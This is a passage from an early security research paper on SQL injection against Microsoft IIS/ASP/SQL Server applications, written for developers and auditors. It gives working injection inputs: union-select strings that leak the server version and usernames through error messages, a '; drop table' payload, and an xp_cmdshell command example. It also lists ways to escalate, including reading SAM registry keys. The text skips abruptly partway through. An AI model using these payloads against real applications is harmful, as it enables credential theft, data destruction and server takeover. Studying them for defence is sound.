Advanced SQL Injection In SQL Server Applications

Chris Anley [chris@ngssoftware.com]

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

[Abstract]

This document discusses in detail the common 'SQL injection' technique, as it applies to the popular Microsoft Internet Information Server/Active Server Pages/SQL Server platform. It discusses the various ways in which SQL can be 'injected' into the application and addresses some of the data validation and database lockdown issues that are related to this class of attack.

The paper is intended to be read by both developers of web applications which communicate with databases and by security professionals whose role includes auditing these web applications.

[Introduction]

Structured Query Language ('SQL') is a textual language used to interact with relational databases. There are many varieties of SQL; most dialects that are in common use at the moment are loosely based around SQL-92, the most recent ANSI standard. The typical unit of execution of SQL is the 'query', which is a collection of statements that typically return a single 'result set'. SQL statements can modify the structure of databases (using Data Definition Language statements, or 'DDL') and manipulate the contents of databases (using Data Manipulation Language statements, or 'DML'). In this paper, we will be specifically discussing Transact-SQL, the dialect of SQL used by Microsoft SQL Server.

SQL Injection occurs when an attacker is able to insert a series of SQL statements into a 'query' by manipulating data input into an application.

A typical SQL statement looks like this:

```
select id, forename, surname from authors
```

This statement will retrieve the 'id', 'forename' and 'surname' columns from the 'authors' table, returning all rows in the table. The 'result set' could be restricted to a specific 'author' like this:

```
select id, forename, surname from authors where forename = 'john' and
surname = 'smith'
```

An important point to note here is that the string literals 'john' and 'smith' are delimited with single quotes. Presuming that the 'forename' and 'surname' fields are being gathered from user-supplied input, an attacker might be able to 'inject' some SQL into this query, by inputting values into the application like this:

```
Forename: jo'hn
Surname: smith
```

The 'query string' becomes this:

```
select id, forename, surname from authors where forename = 'jo'hn' and
```

advantage of any error message that reveals information about the environment, or the database. A list of the format strings for standard error messages can be obtained by running:

```
select * from master..sysmessages
```

Examining this list reveals some interesting messages.

One especially useful message relates to type conversion. If you attempt to convert a string into an integer, the full contents of the string are returned in the error message. In our sample login page, for example, the following 'username' will return the specific version of SQL server, and the server operating system it is running on:

```
Username: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.

/process_login.asp, line 35
```

This attempts to convert the built-in '@@version' constant into an integer because the first column in the 'users' table is an integer.

This technique can be used to read any value in any table in the database. Since the attacker is interested in usernames and passwords, they are likely to read the usernames from the 'users' table, like this:

```
Username: ' union select min(username),1,1,1 from users where username >
'a'--
```

This selects the minimum username that is greater than 'a', and attempts to convert it to an integer:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.

/process_login.asp, line 35
```

So the attacker now knows that the 'admin' account exists. He can now iterate through the rows in the table by substituting each new username he discovers into the 'where' clause:

```
Username: ' union select min(username),1,1,1 from users where username >
'admin'--
```

```
/process_login.asp, line 35
```

And then drops (deletes) the table, to tidy up:

```
Username: '; drop table foo--
```

These examples are barely scratching the surface of the flexibility of this technique. Needless to say, if the attacker can obtain rich error information from the database, their job is infinitely easier.

[Leveraging Further Access]

Once an attacker has control of the database, they are likely to want to use that access to obtain further control over the network. This can be achieved in a number of ways:

1. Using the xp_cmdshell extended stored procedure to run commands as the SQL server user, on the database server
2. Using the xp_regread extended stored procedure to read registry keys, potentially including the SAM (if SQL Server is running as the local system account)
3. Use other extended stored procedures to influence the server
4. Run queries on linked servers
5. Creating custom extended stored procedures to run exploit code from within the SQL Server process
6. Use the 'bulk insert' statement to read any file on the server
7. Use bcp to create arbitrary text files on the server
8. Using the sp_OACreate, sp_OAMethod and sp_OAGetProperty system stored procedures to create OLE Automation (ActiveX) applications that can do everything an ASP script can do

These are just a few of the more common attack scenarios; it is quite possible that an attacker will be able to come up with others. We present these techniques as a collection of relatively obvious SQL Server attacks, in order to show just what is possible, given the ability to inject SQL. We will deal with each of the above points in turn.

[xp_cmdshell]

Extended stored procedures are essentially compiled Dynamic Link Libraries (DLLs) that use a SQL Server specific calling convention to run exported functions. They allow SQL Server applications to have access to the full power of C/C++, and are an extremely useful feature. A number of extended stored procedures are built in to SQL Server, and perform various functions such as sending email and interacting with the registry.

xp_cmdshell is a built-in extended stored procedure that allows the execution of arbitrary command lines. For example:

exec master..xp_cmdshell 'dir'